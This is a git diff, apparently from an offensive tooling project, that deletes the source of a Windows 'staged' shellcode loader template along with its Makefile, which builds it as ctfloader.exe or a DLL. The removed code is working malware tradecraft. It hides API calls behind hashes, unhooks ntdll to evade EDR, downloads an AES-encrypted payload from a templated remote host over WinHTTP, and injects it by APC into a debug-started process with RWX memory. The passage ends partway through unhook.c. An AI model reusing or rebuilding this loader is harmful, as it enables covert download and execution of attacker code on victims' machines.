----------------------------------------------------------------------------- -FORMAT ?= EXE # { EXE | DLL } - -# ----------------------------------------------------------------------------- -# 3. Source files -# ----------------------------------------------------------------------------- -COMMON_SRCS := \ - api_hashing.c \ - download.c \ - inject.c \ - unhook.c \ - whispers.c - -ifeq ($(FORMAT),DLL) - MAIN_SRC := main_dll.c - TARGET := ctfloader.dll -else - MAIN_SRC := main.c - TARGET := ctfloader.exe -endif - -C_SRCS := $(COMMON_SRCS) $(MAIN_SRC) -C_OBJS := $(C_SRCS:.c=.o) - -# ----------------------------------------------------------------------------- -# 4. Assembly helper (Whispers) -# ----------------------------------------------------------------------------- -ASM_SRC := whispers-asm.x64.asm -ASM_OBJ := whispers-asm.o -ASFLAGS := -f win64 - -# ----------------------------------------------------------------------------- -# 5. Flags -# ----------------------------------------------------------------------------- -CFLAGS_BASE := -O2 -Wall -w -static -LDFLAGS := -Wl,--disable-auto-import -s -LIBS := -lwinhttp -lntdll - -# DLL nuances: strip -static and add /shared linker options -ifeq ($(FORMAT),DLL) - CFLAGS := $(filter-out -static,$(CFLAGS_BASE)) -DCTF_AS_DLL - LDFLAGS += -shared -Wl,--out-implib,libctfloader.a -else - CFLAGS := $(CFLAGS_BASE) -endif - -# ----------------------------------------------------------------------------- -# 6. Phony targets -# ----------------------------------------------------------------------------- -.PHONY: all exe dll clean - -all: $(TARGET) - -exe: - $(MAKE) FORMAT=EXE - -dll: - $(MAKE) FORMAT=DLL - -# ----------------------------------------------------------------------------- -# 7. Linking & compilation rules -# ----------------------------------------------------------------------------- -$(TARGET): $(C_OBJS) $(ASM_OBJ) - $(CLANG) $(CFLAGS) -o $@ $^ $(LDFLAGS) $(LIBS) - -%.o: %.c - $(CLANG) $(CFLAGS) -c $< -o $@ - -$(ASM_OBJ): $(ASM_SRC) - nasm $(ASFLAGS) $< -o $@ - -# ----------------------------------------------------------------------------- -# 8. House‑keeping -# ----------------------------------------------------------------------------- -clean: - rm -f *.o *.obj $(TARGET) libctfloader.a \ No newline at end of file diff --git a/Windows/templates/staged/api_hashing.c b/Windows/templates/staged/api_hashing.c deleted file mode 100644 index 7398c33..0000000 --- a/Windows/templates/staged/api_hashing.c +++ /dev/null @@ -1,104 +0,0 @@ -/* - - Authors: - @ MaldevAcademy - https://maldevacademy.com - - @ VX-Underground - https://vx-underground.org - -*/ -#include -#include - -#include "structs.h" -#include "functions.h" - -DWORD HashStringDjb2A(PCHAR String) -{ - ULONG Hash = INITIAL_HASH; - INT c; - - while (c = *String++) - Hash = ((Hash << INITIAL_SEED) + Hash) + c; - - return Hash; -} - -FARPROC GetProcAddressH(HMODULE hModule, DWORD dwApiNameHash) { - - if (hModule == NULL || dwApiNameHash == NULL) - return NULL; - - PBYTE pBase = (PBYTE)hModule; - - PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase; - if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) - return NULL; - - PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew); - if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) - return NULL; - - IMAGE_OPTIONAL_HEADER ImgOptHdr = pImgNtHdrs->OptionalHeader; - - PIMAGE_EXPORT_DIRECTORY pImgExportDir = (PIMAGE_EXPORT_DIRECTORY)(pBase + ImgOptHdr.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); - - - PDWORD FunctionNameArray = (PDWORD)(pBase + pImgExportDir->AddressOfNames); - PDWORD FunctionAddressArray = (PDWORD)(pBase + pImgExportDir->AddressOfFunctions); - PWORD FunctionOrdinalArray = (PWORD)(pBase + pImgExportDir->AddressOfNameOrdinals); - - for (DWORD i = 0; i < pImgExportDir->NumberOfFunctions; i++) { - CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]); - PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]); - - // Hashing every function name pFunctionName - // If both hashes are equal then we found the function we want - if (dwApiNameHash == HASHA(pFunctionName)) { - return pFunctionAddress; - } - } - - return NULL; -} - -HMODULE GetModuleHandleH(DWORD dwModuleNameHash) { - - if (dwModuleNameHash == NULL) - return NULL; - -#ifdef _WIN64 - PPEB pPeb = (PEB*)(__readgsqword(0x60)); -#elif _WIN32 - PPEB pPeb = (PEB*)(__readfsdword(0x30)); -#endif - - PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)(pPeb->Ldr); - PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pLdr->InMemoryOrderModuleList.Flink); - - while (pDte) { - - if (pDte->FullDllName.Length != NULL && pDte->FullDllName.Length < MAX_PATH) { - - // converting `FullDllName.Buffer` to upper case string - CHAR UpperCaseDllName[MAX_PATH]; - - DWORD i = 0; - while (pDte->FullDllName.Buffer[i]) { - UpperCaseDllName[i] = (CHAR)toupper(pDte->FullDllName.Buffer[i]); - i++; - } - UpperCaseDllName[i] = '\0'; - - // hashing `UpperCaseDllName` and comparing the hash value to that's of the input `dwModuleNameHash` - if (HASHA(UpperCaseDllName) == dwModuleNameHash) - return pDte->Reserved2[0]; - - } - else { - break; - } - - pDte = *(PLDR_DATA_TABLE_ENTRY*)(pDte); - } - - return NULL; -} - diff --git a/Windows/templates/staged/download.c b/Windows/templates/staged/download.c deleted file mode 100644 index ca58086..0000000 --- a/Windows/templates/staged/download.c +++ /dev/null @@ -1,140 +0,0 @@ -/* - - Author: @ MochaByte - -*/ -#include -#include -#include - -#include "functions.h" - -#pragma comment(lib, "winhttp.lib") - -#define IP L"#-IP_VALUE-#" // Changable -#define PORT #-PORT_VALUE-# // Changable -#define PATH L"#-PATH_VALUE-#" // Changable - - -BOOL GetContent(OUT PBYTE* pPayload,OUT SIZE_T* sSizeOfPayload) { - - LPCWSTR path = PATH; - DWORD dwSize = 0, - dwTotalSize = 0, - dwDownloaded = 0; - LPSTR pszOutBuffer = NULL; - BOOL bState = FALSE; - HINTERNET hSession = NULL, - hConnect = NULL, - hRequest = NULL; - - // First opening an internet session - hSession = WinHttpOpen( - L"Mozilla/5.0 (Windows; U; Windows NT 10.3;; en-US) AppleWebKit/536.34 (KHTML, like Gecko) Chrome/47.0.3601.371 Safari/536", - WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY, - WINHTTP_NO_PROXY_NAME, - WINHTTP_NO_PROXY_BYPASS, - 0 - ); - - // Checking if it was successfull - if (hSession == NULL) { - - printf("[-] Internet session could not be initialized.\n"); - goto _CleanUp; - } - - // Defining the target server with the earlier defined session - hConnect = WinHttpConnect(hSession, IP, PORT, 0); - - // Checking if its ok - if (hConnect == NULL) { - - printf("[-] Could not connect to the target server: %d\n", GetLastError()); - goto _CleanUp; - } - - // Creating the HTTP request - hRequest = WinHttpOpenRequest(hConnect, NULL, path, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_ESCAPE_DISABLE); - - // Checking again - if (hRequest == NULL) { - - printf("[-] Failed to create the request: %d\n", GetLastError()); - goto _CleanUp; - } - - // Firing the request !! - if (!WinHttpSendRequest(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0)) { - - printf("[-] Failed to send the request: %d\n", GetLastError()); - goto _CleanUp; - } - - // Wait for the response - if (!WinHttpReceiveResponse(hRequest, 0)) { - - printf("[-] Failed to receive the response: %d", GetLastError()); - goto _CleanUp; - } - - do { - - // Checking for available data - dwSize = 0; - - if (!WinHttpQueryDataAvailable(hRequest, &dwSize)) { - - printf("[-] Error checking the amount of data: %d", GetLastError()); - goto _CleanUp; - } - - // Allocating the space to gather the data - LPSTR tempBuffer = realloc(pszOutBuffer, dwTotalSize + dwSize + 1); - - if (!tempBuffer) { - - printf("[-] Out of memory: %d", GetLastError()); - goto _CleanUp; - - } - else { - - pszOutBuffer = tempBuffer; - - } - - // Reading the data - if (!WinHttpReadData(hRequest, (LPVOID)(pszOutBuffer + dwTotalSize), dwSize, &dwDownloaded)) { - - printf("[-] Error reading the data: %d", GetLastError()); - goto _CleanUp; - - } - - dwTotalSize += dwDownloaded; - - - } while (dwSize > 0); - - // Saving the content into the "return variables" - *pPayload = pszOutBuffer; - *sSizeOfPayload = dwTotalSize; - pszOutBuffer = NULL; - bState = TRUE; - - -_CleanUp: - if (pszOutBuffer) - free(pszOutBuffer); - if (hRequest) - WinHttpCloseHandle(hRequest); - if (hConnect) - WinHttpCloseHandle(hConnect); - if (hSession) - WinHttpCloseHandle(hSession); - - return bState; -} - - diff --git a/Windows/templates/staged/functions.h b/Windows/templates/staged/functions.h deleted file mode 100644 index 61ad5a0..0000000 --- a/Windows/templates/staged/functions.h +++ /dev/null @@ -1,19 +0,0 @@ -#pragma once -#include - -// API Hashing Part -#define HASHA(API) (HashStringDjb2A((PCHAR) API)) -#define INITIAL_HASH #-INITIAL_HASH_VALUE-# -#define INITIAL_SEED #-INITIAL_SEED_VALUE-# - -BOOL GetContent(OUT PBYTE* pPayload, OUT SIZE_T* sSizeOfPayload); -BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread); -BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress); -HMODULE GetModuleHandleH(DWORD dwModuleNameHash); -FARPROC GetProcAddressH(HMODULE moduleHandle, DWORD hash); - -BOOL Unhook(LPVOID module); -LPVOID MapNtdll(); - -typedef BOOL (WINAPI* cCPA)(LPCSTR lpApplicationName,LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,LPSECURITY_ATTRIBUTES lpThreadAttributes,BOOL bInheritHandles,DWORD dwCreationFlags, LPVOID lpEnvironment,LPCSTR lpCurrentDirectory,LPSTARTUPINFOA lpStartupInfo,LPPROCESS_INFORMATION lpProcessInformation); -typedef BOOL (WINAPI* cDAPS)(DWORD dwProcessId); \ No newline at end of file diff --git a/Windows/templates/staged/inject.c b/Windows/templates/staged/inject.c deleted file mode 100644 index 2504146..0000000 --- a/Windows/templates/staged/inject.c +++ /dev/null @@ -1,97 +0,0 @@ -/* - - Author: @ MaldevAcademy - https://maldevacademy.com - -*/ - -#include -#include -#include - -#include "functions.h" -#include "whispers.h" - -BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hProcess, HANDLE* hThread) { - - CHAR lpPath[MAX_PATH * 2]; - CHAR WnDr[MAX_PATH]; - - STARTUPINFO Si = { 0 }; - PROCESS_INFORMATION Pi = { 0 }; - - RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO)); - RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION)); - - Si.cb = sizeof(STARTUPINFO); - - if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) - return FALSE; - - // Creating the target process path - sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName); - - // API Hashing - cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#); - - Sleep(15000); - if(!cCPAu( - NULL, - lpPath, - NULL, - NULL, - FALSE, - DEBUG_PROCESS, // Instead of CREATE_SUSPENDED - NULL, - NULL, - &Si, - &Pi)) { - - return FALSE; - } - - - // Filling up the OUTPUT parameter with CreateProcessA's output - *dwProcessId = Pi.dwProcessId; - *hProcess = Pi.hProcess; - *hThread = Pi.hThread; - - Sleep(5000); - return TRUE; -} - -BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) { - - SIZE_T sNumberOfBytesWritten = 0, - sSize = sSizeOfShellcode; - ULONG uOldProtection = 0; - NTSTATUS STATUS = 0x00; - - if ((STATUS = NTAVM(hProcess, ppAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) { - - printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS); - return FALSE; - } - - //printf("[i] Allocated Memory At : 0x%p \n", *ppAddress); - - if ((STATUS = NTWVM(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sSizeOfShellcode) { - - printf("[!] NtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS); - return FALSE; - } - - printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten); - - - Sleep(2500); - if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) { - - printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS); - return FALSE; - } - - printf("[+] Successfully changed memory region permission to RWX!\n"); - - return TRUE; - -} \ No newline at end of file diff --git a/Windows/templates/staged/main.c b/Windows/templates/staged/main.c deleted file mode 100644 index fd75283..0000000 --- a/Windows/templates/staged/main.c +++ /dev/null @@ -1,104 +0,0 @@ -#include -#include - -#include "whispers.h" -#include "functions.h" -#include "AES_128_CBC.h" - -#define TARGET_PROCESS "#-TARGET_PROCESS-#" - - -uint8_t aes_k[16] = { #-KEY_VALUE-# }; -uint8_t aes_i[16] = { #-IV_VALUE-# }; - - -int main() { - - PBYTE pEncPayload = NULL; - SIZE_T sEncPayload = 0; - - PVOID pClearText = NULL, - pProcess = NULL; - DWORD dwSizeOfClearText = 0, - dwOldProtect = 0, - dwProcessId = 0; - AES_CTX ctx; - - HANDLE hThread = NULL, - hProcess = NULL; - - NTSTATUS STATUS = 0x00; - - - printf("[+] Un-hooking Ntdll \n"); - LPVOID nt = MapNtdll(); - if (!nt) - return -1; - - if (!Unhook(nt)) - return -1; - - Sleep(500); - if (!GetContent(&pEncPayload, &sEncPayload)) { - - printf("[-] Failed to get the data!\n"); - return -1; - } - - printf("[+] PID: %d\n", GetCurrentProcessId()); - printf("[+] Got the content at position: 0x%p with size of %zu\n", pEncPayload, sEncPayload); - - // Decryption routine - printf("[i] Starting the decryption...\n"); - - Sleep(500); - // Allocating memory to store the decrypted payload inside of pClearText - pClearText = (PBYTE)malloc(sEncPayload); - AES_DecryptInit(&ctx, aes_k, aes_i); - AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload); - - printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload); - - Sleep(1500); - printf("[i] Creating suspended process..\n"); - // Creating a suspeneded process now - if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) { - - printf("[-] Failed to create suspended process!\n"); - return -1; - } - printf("[+] Process created with PID: %d\n", dwProcessId); - - Sleep(2500); - printf("[i] Injecting the shellcode into the process..\n"); - // Doing the APC Injection - if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) { - - return -1; - } - - Sleep(1500); - printf("[i] Running the shellcode via NtQueueApcThread..\n"); - // Running the thread via QueueAPCThread - if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) { - - printf("[-] NtQueueApcThrad failed!\n"); - return -1; - } - - // API Hashing - cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#); - - printf("[i] Position of DAPsu: 0x%p\n", cDAPSu); - - Sleep(1000); - // Stopping the debugging of the process, which launches the payload - cDAPSu(dwProcessId); - printf("[+] Payload executed!\n"); - - CloseHandle(hThread); - CloseHandle(hProcess); - free(pClearText); - - return 0; -} \ No newline at end of file diff --git a/Windows/templates/staged/main_dll.c b/Windows/templates/staged/main_dll.c deleted file mode 100644 index d98341d..0000000 --- a/Windows/templates/staged/main_dll.c +++ /dev/null @@ -1,119 +0,0 @@ -#include -#include - -#include "whispers.h" -#include "functions.h" -#include "AES_128_CBC.h" - -#define TARGET_PROCESS "#-TARGET_PROCESS-#" - - -uint8_t aes_k[16] = { #-KEY_VALUE-# }; -uint8_t aes_i[16] = { #-IV_VALUE-# }; - - -extern __declspec(dllexport) int ctf() -{ - - PBYTE pEncPayload = NULL; - SIZE_T sEncPayload = 0; - - PVOID pClearText = NULL, - pProcess = NULL; - DWORD dwSizeOfClearText = 0, - dwOldProtect = 0, - dwProcessId = 0; - AES_CTX ctx; - - HANDLE hThread = NULL, - hProcess = NULL; - - NTSTATUS STATUS = 0x00; - - - printf("[+] Un-hooking Ntdll \n"); - LPVOID nt = MapNtdll(); - if (!nt) - return -1; - - if (!Unhook(nt)) - return -1; - - Sleep(500); - if (!GetContent(&pEncPayload, &sEncPayload)) { - - printf("[-] Failed to get the data!\n"); - return -1; - } - - printf("[+] PID: %d\n", GetCurrentProcessId()); - printf("[+] Got the content at position: 0x%p with size of %zu\n", pEncPayload, sEncPayload); - - // Decryption routine - printf("[i] Starting the decryption...\n"); - - Sleep(500); - // Allocating memory to store the decrypted payload inside of pClearText - pClearText = (PBYTE)malloc(sEncPayload); - AES_DecryptInit(&ctx, aes_k, aes_i); - AES_DecryptBuffer(&ctx, pEncPayload, pClearText, sEncPayload); - - printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload); - - Sleep(1500); - printf("[i] Creating suspended process..\n"); - // Creating a suspeneded process now - if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) { - - printf("[-] Failed to create suspended process!\n"); - return -1; - } - printf("[+] Process created with PID: %d\n", dwProcessId); - - Sleep(2500); - printf("[i] Injecting the shellcode into the process..\n"); - // Doing the APC Injection - if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) { - - return -1; - } - - Sleep(1500); - printf("[i] Running the shellcode via NtQueueApcThread..\n"); - // Running the thread via QueueAPCThread - if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) { - - printf("[-] NtQueueApcThrad failed!\n"); - return -1; - } - - // API Hashing - cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#); - - printf("[i] Position of DAPsu: 0x%p\n", cDAPSu); - - Sleep(1000); - // Stopping the debugging of the process, which launches the payload - cDAPSu(dwProcessId); - printf("[+] Payload executed!\n"); - - CloseHandle(hThread); - CloseHandle(hProcess); - free(pClearText); - - return 0; - -} - -BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) -{ - switch (ul_reason_for_call) - { - case DLL_PROCESS_ATTACH: - case DLL_THREAD_ATTACH: - case DLL_THREAD_DETACH: - case DLL_PROCESS_DETACH: - break; - } - return TRUE; -} diff --git a/Windows/templates/staged/structs.h b/Windows/templates/staged/structs.h deleted file mode 100644 index fc0f531..0000000 --- a/Windows/templates/staged/structs.h +++ /dev/null @@ -1,282 +0,0 @@ -#pragma once - -#include -#include "whispers.h" - -typedef PVOID PACTIVATION_CONTEXT; -typedef PVOID PRTL_USER_PROCESS_PARAMETERS; -typedef PVOID PAPI_SET_NAMESPACE; - -typedef struct _UNICODE_STRING { - USHORT Length; - USHORT MaximumLength; - PWSTR Buffer; -} UNICODE_STRING, * PUNICODE_STRING; - - -typedef struct _PEB_LDR_DATA { - ULONG Length; - ULONG Initialized; - PVOID SsHandle; - LIST_ENTRY InLoadOrderModuleList; - LIST_ENTRY InMemoryOrderModuleList; - LIST_ENTRY InInitializationOrderModuleList; -} PEB_LDR_DATA, * PPEB_LDR_DATA; - -typedef struct _LDR_DATA_TABLE_ENTRY { - PVOID Reserved1[2]; - LIST_ENTRY InMemoryOrderLinks; - PVOID Reserved2[2]; - PVOID DllBase; - PVOID EntryPoint; - PVOID Reserved3; - UNICODE_STRING FullDllName; - BYTE Reserved4[8]; - PVOID Reserved5[3]; - union { - ULONG CheckSum; - PVOID Reserved6; - }; - ULONG TimeDateStamp; -} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; - - -typedef struct _PEB -{ - BOOLEAN InheritedAddressSpace; - BOOLEAN ReadImageFileExecOptions; - BOOLEAN BeingDebugged; - union - { - BOOLEAN BitField; - struct - { - BOOLEAN ImageUsesLargePages : 1; - BOOLEAN IsProtectedProcess : 1; - BOOLEAN IsImageDynamicallyRelocated : 1; - BOOLEAN SkipPatchingUser32Forwarders : 1; - BOOLEAN IsPackagedProcess : 1; - BOOLEAN IsAppContainer : 1; - BOOLEAN IsProtectedProcessLight : 1; - BOOLEAN IsLongPathAwareProcess : 1; - }; - }; - - HANDLE Mutant; - - PVOID ImageBaseAddress; - PPEB_LDR_DATA Ldr; - PRTL_USER_PROCESS_PARAMETERS ProcessParameters; - PVOID SubSystemData; - PVOID ProcessHeap; - PRTL_CRITICAL_SECTION FastPebLock; - PSLIST_HEADER AtlThunkSListPtr; - PVOID IFEOKey; - - union - { - ULONG CrossProcessFlags; - struct - { - ULONG ProcessInJob : 1; - ULONG ProcessInitializing : 1; - ULONG ProcessUsingVEH : 1; - ULONG ProcessUsingVCH : 1; - ULONG ProcessUsingFTH : 1; - ULONG ProcessPreviouslyThrottled : 1; - ULONG ProcessCurrentlyThrottled : 1; - ULONG ProcessImagesHotPatched : 1; // REDSTONE5 - ULONG ReservedBits0 : 24; - }; - }; - union - { - PVOID KernelCallbackTable; - PVOID UserSharedInfoPtr; - }; - ULONG SystemReserved; - ULONG AtlThunkSListPtr32; - PAPI_SET_NAMESPACE ApiSetMap; - ULONG TlsExpansionCounter; - PVOID TlsBitmap; - ULONG TlsBitmapBits[2]; - - PVOID ReadOnlySharedMemoryBase; - PVOID SharedData; // HotpatchInformation - PVOID* ReadOnlyStaticServerData; - - PVOID AnsiCodePageData; // PCPTABLEINFO - PVOID OemCodePageData; // PCPTABLEINFO - PVOID UnicodeCaseTableData; // PNLSTABLEINFO - - ULONG NumberOfProcessors; - ULONG NtGlobalFlag; - - ULARGE_INTEGER CriticalSectionTimeout; - SIZE_T HeapSegmentReserve; - SIZE_T HeapSegmentCommit; - SIZE_T HeapDeCommitTotalFreeThreshold; - SIZE_T HeapDeCommitFreeBlockThreshold; - - ULONG NumberOfHeaps; - ULONG MaximumNumberOfHeaps; - PVOID* ProcessHeaps; // PHEAP - - PVOID GdiSharedHandleTable; - PVOID ProcessStarterHelper; - ULONG GdiDCAttributeList; - - PRTL_CRITICAL_SECTION LoaderLock; - - ULONG OSMajorVersion; - ULONG OSMinorVersion; - USHORT OSBuildNumber; - USHORT OSCSDVersion; - ULONG OSPlatformId; - ULONG ImageSubsystem; - ULONG ImageSubsystemMajorVersion; - ULONG ImageSubsystemMinorVersion; - KAFFINITY ActiveProcessAffinityMask; - ULONG GdiHandleBuffer[60]; - PVOID PostProcessInitRoutine; - - PVOID TlsExpansionBitmap; - ULONG TlsExpansionBitmapBits[32]; - - ULONG SessionId; - - ULARGE_INTEGER AppCompatFlags; - ULARGE_INTEGER AppCompatFlagsUser; - PVOID pShimData; - PVOID AppCompatInfo; // APPCOMPAT_EXE_DATA - - UNICODE_STRING CSDVersion; - - PVOID ActivationContextData; // ACTIVATION_CONTEXT_DATA - PVOID ProcessAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP - PVOID SystemDefaultActivationContextData; // ACTIVATION_CONTEXT_DATA - PVOID SystemAssemblyStorageMap; // ASSEMBLY_STORAGE_MAP - - SIZE_T MinimumStackCommit; - - PVOID SparePointers[2]; // 19H1 (previously FlsCallback to FlsHighIndex) - PVOID PatchLoaderData; - PVOID ChpeV2ProcessInfo; // _CHPEV2_PROCESS_INFO - - ULONG AppModelFeatureState; - ULONG SpareUlongs[2]; - - USHORT ActiveCodePage; - USHORT OemCodePage; - USHORT UseCaseMapping; - USHORT UnusedNlsField; - - PVOID WerRegistrationData; - PVOID WerShipAssertPtr; - - union - { - PVOID pContextData; // WIN7 - PVOID pUnused; // WIN10 - PVOID EcCodeBitMap; // WIN11 - }; - - PVOID pImageHeaderHash; - union - { - ULONG TracingFlags; - struct - { - ULONG HeapTracingEnabled : 1; - ULONG CritSecTracingEnabled : 1; - ULONG LibLoaderTracingEnabled : 1; - ULONG SpareTracingBits : 29; - }; - }; - ULONGLONG CsrServerReadOnlySharedMemoryBase; - PRTL_CRITICAL_SECTION TppWorkerpListLock; - LIST_ENTRY TppWorkerpList; - PVOID WaitOnAddressHashTable[128]; - PVOID TelemetryCoverageHeader; // REDSTONE3 - ULONG CloudFileFlags; - ULONG CloudFileDiagFlags; // REDSTONE4 - CHAR PlaceholderCompatibilityMode; - CHAR PlaceholderCompatibilityModeReserved[7]; - struct _LEAP_SECOND_DATA* LeapSecondData; // REDSTONE5 - union - { - ULONG LeapSecondFlags; - struct - { - ULONG SixtySecondEnabled : 1; - ULONG Reserved : 31; - }; - }; - ULONG NtGlobalFlag2; - ULONGLONG ExtendedFeatureDisableMask; // since WIN11 -} PEB, * PPEB; - -typedef struct _AES { - - PBYTE pPlainText; // base address of the plain text data - DWORD dwPlainSize; // size of the plain text data - - PBYTE pCipherText; // base address of the encrypted data - DWORD dwCipherSize; // size of it (this can change from dwPlainSize in case there was padding) - - PBYTE pKey; // the 32 byte key - PBYTE pIv; // the 16 byte iv - -} AES, * PAES; - -typedef LONG KPRIORITY; - - -typedef struct _SYSTEM_PROCESS_INFORMATION -{ - ULONG NextEntryOffset; - ULONG NumberOfThreads; - LARGE_INTEGER WorkingSetPrivateSize; //VISTA - ULONG HardFaultCount; //WIN7 - ULONG NumberOfThreadsHighWatermark; //WIN7 - ULONGLONG CycleTime; //WIN7 - LARGE_INTEGER CreateTime; - LARGE_INTEGER UserTime; - LARGE_INTEGER KernelTime; - UNICODE_STRING ImageName; - KPRIORITY BasePriority; - HANDLE UniqueProcessId; - HANDLE InheritedFromUniqueProcessId; - ULONG HandleCount; - ULONG SessionId; - ULONG_PTR PageDirectoryBase; - - // - // This part corresponds to VM_COUNTERS_EX. - // NOTE: *NOT* THE SAME AS VM_COUNTERS! - // - SIZE_T PeakVirtualSize; - SIZE_T VirtualSize; - ULONG PageFaultCount; - SIZE_T PeakWorkingSetSize; - SIZE_T WorkingSetSize; - SIZE_T QuotaPeakPagedPoolUsage; - SIZE_T QuotaPagedPoolUsage; - SIZE_T QuotaPeakNonPagedPoolUsage; - SIZE_T QuotaNonPagedPoolUsage; - SIZE_T PagefileUsage; - SIZE_T PeakPagefileUsage; - SIZE_T PrivatePageCount; - - // - // This part corresponds to IO_COUNTERS - // - LARGE_INTEGER ReadOperationCount; - LARGE_INTEGER WriteOperationCount; - LARGE_INTEGER OtherOperationCount; - LARGE_INTEGER ReadTransferCount; - LARGE_INTEGER WriteTransferCount; - LARGE_INTEGER OtherTransferCount; - // SYSTEM_THREAD_INFORMATION TH[1]; -} SYSTEM_PROCESS_INFORMATION, * PSYSTEM_PROCESS_INFORMATION; - diff --git a/Windows/templates/staged/unhook.c b/Windows/templates/staged/unhook.c deleted file mode 100644 index 8d107fc..0000000 --- a/Windows/templates/staged/unhook.c +++ /dev/null @@ -1,131 +0,0 @@ -/* - - Original Author: SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection - -*/ - -#include - -#include "structs.h" -#include "functions.h" -#include - -#pragma comment(lib, "ntdll") -#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) -#define OBJ_CASE_INSENSITIVE 0x00000040L - -#define NtCurrentProcess() ((HANDLE)-1) -#define _CRT_SECURE_NO_WARNINGS - -typedef const UNICODE_STRING* PCUNICODE_STRING; - -NTSYSAPI VOID RtlInitUnicodeString( - PUNICODE_STRING DestinationString, - __drv_aliasesMem PCWSTR SourceString - ); - -typedef struct _OBJECT_ATTRIBUTES -{ - ULONG Length; - HANDLE RootDirectory; - PCUNICODE_STRING ObjectName; - ULONG Attributes; - PVOID SecurityDescriptor; // PSECURITY_DESCRIPTOR; - PVOID SecurityQualityOfService; // PSECURITY_QUALITY_OF_SERVICE -} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; - - -typedef NTSTATUS(NTAPI* MyNtMapViewOfSection)( - HANDLE SectionHandle, - HANDLE ProcessHandle, - PVOID* BaseAddress, - ULONG_PTR ZeroBits, - SIZE_T CommitSize, - PLARGE_INTEGER SectionOffset, - PSIZE_T ViewSize, - DWORD InheritDisposition, - ULONG AllocationType, - ULONG Win32Protect - ); - -NTSTATUS NtOpenSection( - OUT PHANDLE SectionHandle, - IN ACCESS_MASK DesiredAccess, - IN POBJECT_ATTRIBUTES ObjectAttributes -); - -#define InitializeObjectAttributes(p, n, a, r, s) { \ - (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ - (p)->RootDirectory = r; \ - (p)->Attributes = a; \ - (p)->ObjectName = n; \ - (p)->SecurityDescriptor = s; \ - (p)->SecurityQualityOfService = NULL; \ - } - - -LPVOID MapNtdll() { - - UNICODE_STRING DestinationString; - const wchar_t SourceString[] = { '\\','K','n','o','w','n','D','l','l','s','\\','n','t','d','l','l','.','d','l','l', 0 }; - - RtlInitUnicodeString(&DestinationString, SourceString); - - OBJECT_ATTRIBUTES ObAt; - InitializeObjectAttributes(&ObAt, &DestinationString, OBJ_CASE_INSENSITIVE, NULL, NULL); - - - HANDLE hSection; - NTSTATUS status1 = NtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_EXECUTE, &ObAt); - if (!NT_SUCCESS(status1)) { - printf("[!] Failed in NtOpenSection (%u)\n", GetLastError()); - return NULL; - } - - PVOID pntdll = NULL; - ULONG_PTR ViewSize = 0; - - MyNtMapViewOfSection pNtMapViewOfSection = (MyNtMapViewOfSection)(GetProcAddressH(GetModuleHandleH(#-NTDLL_VALUE-#), #-NTMVOS_VALUE-#)); - NTSTATUS status2 = 